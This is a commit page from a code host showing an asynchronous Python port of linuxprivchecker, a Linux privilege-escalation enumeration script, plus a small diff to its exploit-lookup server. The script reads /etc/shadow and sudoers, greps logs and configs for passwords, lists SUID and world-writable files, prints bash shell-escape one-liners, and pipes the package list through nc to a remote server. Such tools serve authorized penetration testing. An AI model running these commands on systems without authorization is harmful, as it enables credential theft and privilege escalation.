Projects STRLCPY linuxprivchecker Commits ee32a1ae
🤬
  • fixed slowdown caused by process pool

  • Loading...
  • linted committed 3 years ago
    ee32a1ae
    1 parent 45f88be4
Revision indexing in progress... (symbol navigation in revisions will be accurate after indexed)
  • ■ ■ ■ ■ ■ ■
    linuxprivchecker_async.py
     1 +#!/usr/bin/env python3
     2 + 
     3 +###############################################################################################################
     4 +## [Title]: linuxprivchecker.py -- a Linux Privilege Escalation Check Script for python 3
     5 +## [Original Author]: Mike Czumak (T_v3rn1x) -- @SecuritySift
     6 +## [Updater]: Mike Merrill (linted)
     7 +##-------------------------------------------------------------------------------------------------------------
     8 +## [Details]:
     9 +## This script is intended to be executed locally on a Linux box to enumerate basic system info and
     10 +## search for common privilege escalation vectors such as world writable files, misconfigurations, clear-text
     11 +## passwords and applicable exploits.
     12 +##-------------------------------------------------------------------------------------------------------------
     13 +## [Warning]:
     14 +## This script comes as-is with no promise of functionality or accuracy.
     15 +##-------------------------------------------------------------------------------------------------------------
     16 +## [Modification, Distribution, and Attribution]:
     17 +## You are free to modify and/or distribute this script as you wish. I only ask that you maintain original
     18 +## author attribution and not attempt to sell it or incorporate it into any commercial offering.
     19 +###############################################################################################################
     20 + 
     21 +# conditional import for older versions of python not compatible with subprocess
     22 +from concurrent import futures
     23 +from functools import partial
     24 + 
     25 + 
     26 +try:
     27 + from asyncio import (
     28 + create_subprocess_shell,
     29 + get_running_loop,
     30 + subprocess,
     31 + wait,
     32 + run,
     33 + FIRST_COMPLETED,
     34 + )
     35 +except ImportError:
     36 + print(
     37 + "[-] Import Error: This version of python does not have the required libraries"
     38 + )
     39 + 
     40 + 
     41 +async def getCmdResults(cmd, task):
     42 + results = await task
     43 + stdout = await results.stdout.read()
     44 + output = stdout.decode().strip().split("\n")
     45 + 
     46 + return (cmd, output)
     47 + 
     48 + 
     49 +# loop through dictionary, execute the commands, store the results, return updated dict
     50 +async def execCmd(cmdDict):
     51 + futures = []
     52 + for item in cmdDict:
     53 + cmd = cmdDict[item]["cmd"]
     54 + futures.append(
     55 + getCmdResults(
     56 + item,
     57 + create_subprocess_shell(
     58 + cmd,
     59 + stdout=subprocess.PIPE,
     60 + stderr=subprocess.STDOUT,
     61 + ),
     62 + )
     63 + )
     64 + 
     65 + todo = futures
     66 + while len(todo) > 0:
     67 + done, todo = await wait(todo, return_when=FIRST_COMPLETED)
     68 + for task in done:
     69 + # print(dir(task.result()))
     70 + try:
     71 + item, results = task.result()
     72 + except Exception as e:
     73 + item = e
     74 + results = ["[-] failed: {}".format(e)]
     75 + cmdDict[item]['results'] = results
     76 + printResults(cmdDict)
     77 + 
     78 + 
     79 +# print results for each previously executed command, no return value
     80 +def printResults(cmdDict):
     81 + output = ''
     82 + for item in cmdDict:
     83 + msg = cmdDict[item]["msg"]
     84 + results = cmdDict[item]["results"]
     85 + output += "[+] {}\n".format(msg)
     86 + for result in results:
     87 + if result.strip() != "":
     88 + output += " {}\n".format(result.rstrip())
     89 + print(output)
     90 + 
     91 + 
     92 +def parseAppProc():
     93 + procs = getAppProc["PROCS"]["results"]
     94 + pkgs = getAppProc["PKGS"]["results"]
     95 + supusers = userInfo["SUPUSERS"]["results"]
     96 + procdict = {} # dictionary to hold the processes running as super users
     97 + 
     98 + for proc in procs: # loop through each process
     99 + relatedpkgs = [] # list to hold the packages related to a process
     100 + try:
     101 + for user in supusers: # loop through the known super users
     102 + if (user != "") and (
     103 + user in proc
     104 + ): # if the process is being run by a super user
     105 + procname = proc.split(" ")[4] # grab the process name
     106 + if "/" in procname:
     107 + splitname = procname.split("/")
     108 + procname = splitname[len(splitname) - 1]
     109 + for pkg in pkgs: # loop through the packages
     110 + if (
     111 + not len(procname) < 3
     112 + ): # name too short to get reliable package results
     113 + if procname in pkg:
     114 + if procname in procdict:
     115 + relatedpkgs = procdict[
     116 + proc
     117 + ] # if already in the dict, grab its pkg list
     118 + if pkg not in relatedpkgs:
     119 + relatedpkgs.append(pkg) # add pkg to the list
     120 + procdict[
     121 + proc
     122 + ] = relatedpkgs # add any found related packages to the process dictionary entry
     123 + except:
     124 + pass
     125 + 
     126 + for key in procdict:
     127 + print(" " + key) # print the process name
     128 + try:
     129 + if (
     130 + not procdict[key][0] == ""
     131 + ): # only print the rest if related packages were found
     132 + print(" Possible Related Packages: ")
     133 + for entry in procdict[key]:
     134 + print(" " + entry) # print each related package
     135 + except:
     136 + pass
     137 + 
     138 + 
     139 +def parseDevTools():
     140 + for cmd in escapeCmd:
     141 + for result in devTools["TOOLS"]["results"]:
     142 + if cmd in result:
     143 + for item in escapeCmd[cmd]:
     144 + print(" " + cmd + "-->\t" + item)
     145 + 
     146 + 
     147 +async def vulnLookup():
     148 + question = input("[?] Would you like to search for possible exploits? [y/N] ")
     149 + if "y" in question.lower():
     150 + server = input("[?] What is the address of the server? ")
     151 + port = input("[?] What port is the server using? ")
     152 + print("[ ] Connecting to {}:{}".format(server, port))
     153 + exploits = {
     154 + "EXPLOITS": {
     155 + "cmd": "dpkg -l | tail -n +6 | awk '{{print $2, $3}} END {{print \"\"}}' | nc {} {}".format(
     156 + server, port
     157 + ),
     158 + "msg": "Found the following possible exploits",
     159 + }
     160 + }
     161 + await execCmd(exploits)
     162 + 
     163 + 
     164 + 
     165 +sysInfo = {
     166 + "OS": {"cmd": "cat /etc/issue", "msg": "Operating System"},
     167 + "KERNEL": {"cmd": "cat /proc/version", "msg": "Kernel"},
     168 + "HOSTNAME": {"cmd": "hostname", "msg": "Hostname"},
     169 +}
     170 + 
     171 + 
     172 +netInfo = {
     173 + "NETINFO": {"cmd": "/sbin/ifconfig -a", "msg": "Interfaces"},
     174 + "ROUTE": {"cmd": "route", "msg": "Route"},
     175 + "NETSTAT": {"cmd": "netstat -antup | grep -v 'TIME_WAIT'", "msg": "Netstat"},
     176 + "IP_Adder": {"cmd": "ip addr", "msg": "ip addr"},
     177 + "IP_Route": {"cmd": "ip route", "msg": "ip route"},
     178 + "SS": {"cmd": "ss -antup", "msg": "ss"},
     179 +}
     180 + 
     181 + 
     182 +driveInfo = {
     183 + "MOUNT": {"cmd": "mount", "msg": "Mount results"},
     184 + "FSTAB": {"cmd": "cat /etc/fstab 2>/dev/null", "msg": "fstab entries"},
     185 +}
     186 + 
     187 + 
     188 +cronInfo = {
     189 + "CRON": {"cmd": "ls -la /etc/cron* 2>/dev/null", "msg": "Scheduled cron jobs"},
     190 + "CRONW": {
     191 + "cmd": "ls -aRl /etc/cron* 2>/dev/null | awk '$1 ~ /w.$/' 2>/dev/null",
     192 + "msg": "Writable cron dirs",
     193 + },
     194 +}
     195 + 
     196 + 
     197 +userInfo = {
     198 + "WHOAMI": {"cmd": "whoami", "msg": "Current User"},
     199 + "ID": {"cmd": "id", "msg": "Current User ID"},
     200 + "ALLUSERS": {"cmd": "cat /etc/passwd", "msg": "All users"},
     201 + "SUPUSERS": {
     202 + "cmd": "grep -v -E '^#' /etc/passwd | awk -F: '$3 == 0{print $1}'",
     203 + "msg": "Super Users Found:",
     204 + },
     205 + "HISTORY": {
     206 + "cmd": "ls -la ~/.*_history; ls -la /root/.*_history 2>/dev/null",
     207 + "msg": "Root and current user history (depends on privs)",
     208 + },
     209 + "ENV": {"cmd": "env 2>/dev/null | grep -v 'LS_COLORS'", "msg": "Environment"},
     210 + "SUDOERS": {
     211 + "cmd": "cat /etc/sudoers 2>/dev/null | grep -v '#' 2>/dev/null",
     212 + "msg": "Sudoers (privileged)",
     213 + },
     214 + "SUDO":{
     215 + "cmd": "sudo -nl",
     216 + "msg": "Current user's sudo permissions",
     217 + },
     218 + "LOGGEDIN": {"cmd": "w 2>/dev/null", "msg": "Logged in User Activity"},
     219 +}
     220 + 
     221 + 
     222 +fdPerms = {
     223 + "WWDIRSROOT": {
     224 + "cmd": "find / \( -type d -perm -o+w \) -exec ls -ld '{}' ';' 2>/dev/null | grep root",
     225 + "msg": "World Writeable Directories for User/Group 'Root'",
     226 + },
     227 + "WWDIRS": {
     228 + "cmd": "find / \( -type d -perm -o+w \) -exec ls -ld '{}' ';' 2>/dev/null | grep -v root",
     229 + "msg": "World Writeable Directories for Users other than Root",
     230 + },
     231 + "WWFILES": {
     232 + "cmd": "find / \( -wholename '/proc/*' -prune \) -o \( -type f -perm -o+w \) -exec ls -l '{}' ';' 2>/dev/null",
     233 + "msg": "World Writable Files",
     234 + },
     235 + "SUID": {
     236 + "cmd": "find / \( -perm -2000 -o -perm -4000 \) -exec ls -ld {} \; 2>/dev/null",
     237 + "msg": "SUID/SGID Files and Directories",
     238 + },
     239 + "ROOTHOME": {
     240 + "cmd": "ls -ahlR /root 2>/dev/null",
     241 + "msg": "Checking if root's home folder is accessible",
     242 + },
     243 +}
     244 + 
     245 + 
     246 +pwdFiles = {
     247 + "LOGPWDS": {
     248 + "cmd": "find /var/log -name '*.log' 2>/dev/null | xargs -l10 egrep 'pwd|password' 2>/dev/null",
     249 + "msg": "Logs containing keyword 'password'",
     250 + },
     251 + "CONFPWDS": {
     252 + "cmd": "find /etc -name '*.c*' 2>/dev/null | xargs -l10 egrep 'pwd|password' 2>/dev/null",
     253 + "msg": "Config files containing keyword 'password'",
     254 + },
     255 + "SHADOW": {"cmd": "cat /etc/shadow 2>/dev/null", "msg": "Shadow File (Privileged)"},
     256 +}
     257 + 
     258 + 
     259 +getAppProc = {
     260 + "PROCS": {
     261 + "cmd": "ps aux | awk '{print $1,$2,$9,$10,$11}'",
     262 + "msg": "Current processes",
     263 + },
     264 + "PKGS": {"cmd": "", "msg": "Installed Packages"},
     265 +}
     266 + 
     267 + 
     268 +otherApps = {
     269 + "SUDO": {
     270 + "cmd": "sudo -V | grep version 2>/dev/null",
     271 + "msg": "Sudo Version (Check out http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=sudo)",
     272 + },
     273 + "APACHE": {
     274 + "cmd": "apache2 -v; apache2ctl -M; httpd -v; apachectl -l 2>/dev/null",
     275 + "msg": "Apache Version and Modules",
     276 + },
     277 + "APACHECONF": {
     278 + "cmd": "cat /etc/apache2/apache2.conf 2>/dev/null",
     279 + "msg": "Apache Config File",
     280 + },
     281 +}
     282 + 
     283 + 
     284 +devTools = {
     285 + "TOOLS": {
     286 + "cmd": "which awk perl python ruby gcc cc vi vim nmap find netcat nc wget tftp ftp 2>/dev/null",
     287 + "msg": "Installed Tools",
     288 + }
     289 +}
     290 + 
     291 + 
     292 +escapeCmd = {
     293 + "vi": [":!bash", ":set shell=/bin/bash:shell"],
     294 + "awk": ["awk 'BEGIN {system(\"/bin/bash\")}'"],
     295 + "perl": ["perl -e 'exec \"/bin/bash\";'"],
     296 + "find": ["find / -exec /usr/bin/awk 'BEGIN {system(\"/bin/bash\")}' \\;"],
     297 + "nmap": ["--interactive"],
     298 +}
     299 + 
     300 + 
     301 +async def main():
     302 + print("{0}\nLINUX PRIVILEGE ESCALATION CHECKER\n{0}".format("=" * 80))
     303 + 
     304 + # Basic system info
     305 + print("[*] GETTING BASIC SYSTEM INFO...\n")
     306 + await execCmd(sysInfo)
     307 + 
     308 + # Networking Info
     309 + print("[*] GETTING NETWORKING INFO...\n")
     310 + await execCmd(netInfo)
     311 + 
     312 + # File System Info
     313 + print("[*] GETTING FILESYSTEM INFO...\n")
     314 + await execCmd(driveInfo)
     315 + 
     316 + # Scheduled Cron Jobs
     317 + print("[*] GETTING CRON JOB INFO... \n")
     318 + await execCmd(cronInfo)
     319 + 
     320 + # User Info
     321 + print("\n[*] ENUMERATING USER AND ENVIRONMENTAL INFO...\n")
     322 + await execCmd(userInfo)
     323 + 
     324 + if "root" in userInfo["ID"]["results"][0]:
     325 + print("[!] ARE YOU SURE YOU'RE NOT ROOT ALREADY?\n")
     326 + 
     327 + # File/Directory Privs
     328 + print("[*] ENUMERATING FILE AND DIRECTORY PERMISSIONS/CONTENTS...\n")
     329 + await execCmd(fdPerms)
     330 + 
     331 + await execCmd(pwdFiles)
     332 + 
     333 + # Processes and Applications
     334 + print("[*] ENUMERATING PROCESSES AND APPLICATIONS...\n")
     335 + if (
     336 + "debian" in sysInfo["KERNEL"]["results"][0]
     337 + or "ubuntu" in sysInfo["KERNEL"]["results"][0]
     338 + ):
     339 + getAppProc["PKGS"]["cmd"] = "dpkg -l | awk '{$1=$4=\"\"; print $0}'" # debian
     340 + else:
     341 + getAppProc["PKGS"]["cmd"] = "rpm -qa | sort -u" # RH/other
     342 + await execCmd(getAppProc)
     343 + await execCmd(otherApps)
     344 + 
     345 + print(
     346 + "[*] IDENTIFYING PROCESSES AND PACKAGES RUNNING AS ROOT OR OTHER SUPERUSER...\n"
     347 + )
     348 + parseAppProc()
     349 + 
     350 + # First discover the avaialable tools
     351 + print("\n[*] ENUMERATING INSTALLED LANGUAGES/TOOLS FOR SPLOIT BUILDING...\n")
     352 + await execCmd(devTools)
     353 + 
     354 + print("[+] Related Shell Escape Sequences...\n")
     355 + # find the package information for the processes currently running
     356 + # under root or another super user
     357 + parseDevTools()
     358 + 
     359 + print("[*] FINDING RELEVENT PRIVILEGE ESCALATION EXPLOITS...\n")
     360 + await vulnLookup()
     361 + 
     362 + print("\n[+] Finished")
     363 + print("=" * 80)
     364 + 
     365 + 
     366 +if __name__ == "__main__":
     367 + run(main())
  • ■ ■ ■ ■ ■ ■
    privcheckerserver.py
    skipped 26 lines
    27 27  ###############################################################################################################
    28 28   
    29 29  try:
    30  - import socketserver
    31 30   from os.path import isfile
    32 31   import argparse
    33  - from concurrent.futures import ProcessPoolExecutor
     32 + from concurrent.futures import ThreadPoolExecutor
    34 33   from csv import DictReader
    35 34   import asyncio
    36 35   from typing import List, OrderedDict, ByteString
    skipped 15 lines
    52 51   remote_addr = "{}:{}".format(*writer.get_extra_info('peername'))
    53 52   print("[$] Connection from {}".format(remote_addr) )
    54 53   loop = asyncio.get_running_loop()
    55  - with ProcessPoolExecutor() as pool:
     54 + 
     55 + with ThreadPoolExecutor() as pool:
    56 56   futures = []
    57 57   while True: # this is how they do it in the docs... smh
    58 58   line = await reader.readline()
    59  - if not line:
     59 + if line.strip() == b'':
     60 + print("[$] received all")
    60 61   break
    61  - print("[ ] checking line: '{!r}'".format(line))
    62  - futures.append(loop.run_in_executor(pool, self.search, line))
     62 + query = line.decode().strip()
     63 + futures.append(loop.run_in_executor(pool, self.search, query))
     64 + print("[ ] checking line: '{}'".format(query))
    63 65  
    64 66   if not futures:
    65 67   print("[-] No data received from {}".format(remote_addr))
    66  - 
    67 68   done,_ = await asyncio.wait(futures)
    68 69   
    69 70   for task in done:
    skipped 12 lines
    82 83   writer.close()
    83 84   
    84 85   
    85  - def search(self, data: ByteString) -> ByteString:
    86  - query = data.decode().strip().split(" ")
     86 + def search(self, data: str) -> ByteString:
     87 + query = data.split(" ")
    87 88   query[-1] = query[-1][:3] # cut down on the last item which should be the version number
    88 89   output = []
    89 90   for rows in self.db:
    90 91   if all([term in rows["description"] for term in query]):
    91 92   output.append("\t".join((rows["description"], rows["file"])))
    92 93   if output:
    93  - return ("[+] {}\n".format(data.decode().strip()) + "\n".join(output)).encode()
     94 + return ("[+] {}\n".format(data) + "\n".join(output)).encode()
    94 95   return b''
    95 96   
    96 97   
    skipped 45 lines
Please wait...
Page is in error, reload to recover